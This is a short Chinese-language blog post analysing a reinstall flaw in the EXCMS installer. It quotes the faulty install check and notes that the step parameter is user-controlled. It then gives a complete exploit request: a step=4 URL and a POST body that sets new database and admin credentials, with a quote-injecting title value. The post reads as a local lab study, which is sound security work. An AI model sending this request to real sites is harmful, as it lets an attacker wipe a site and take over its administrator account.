Excms 重装漏洞

看了下乌云镜像标题里面‘爆任意文件’好奇下载此系统学习下,比较老的系统,安装完,并没有找到该文件:/apps/include.php

链接地址:http://wooyun.fbisb.com/bug_detail.php?wybug_id=wooyun-2011-03565

程序下载地址:http://www.mycodes.net/43/1073.htm

 

文件:/install/index.php

系统安装完并没有自动删除install目录。

安装完再次访问提示:

跟进代码76~86行:

$dirfile_params = array(
	'cache' => array('type' => 'dir', 'path' => './sitedata'),
	'config' => array('type' => 'file', 'path' => './sitedata/config.inc.php'),
); 

if(file_exists(EXCMS_ROOT . $dirfile_params['config']['path']) && $step < 4){
	exit("<title>EXCMS 警告</title>
		 <div style='font-size:12px;line-height:150%;'><font color='red' style='font-size:14px'>警告,您已经安装过EXCMS。</font><br/>
		为了保证您网站的数据安全,请立即手动删除 install/index.php 文件。<br/>
		如果您想重新安装 EXCMS,请先删除 {$dirfile_params['config']['path']} 文件,再次运行本安装文件。</font>");
}

  

存在逻辑判断错误问题代码:

EXCMS_ROOT . $dirfile_params['config']['path']) && $step < 4

 

检测/sitedata/config.inc.php文件存在、'&&'(和)$step小于4、代码才会执行exit()退出。

其中只需要有一个条件不满足即可绕过此的exit()、$step是可控变量。

 

这里构造重装语句:

Url:http://127.0.0.1/excms/install/index.php?step=4

 

Post: act=submit&checkrs=&dbhost=localhost&dbuser=root&dbpwd=root&dbname=excms&root=&rootpwd=&dbprefix=excms_&sitename=test%21&title=\'/'&domain=http%3A%2F%2F127.0.0.1%2Fexcms&idencryptcode=&adminuser=administrator&adminpwd=admin123&adminrepwd=admin123&createdb=0

 

posted @ 2018-05-30 17:10  瘦子的伤悲  阅读(328)  评论(0编辑  收藏  举报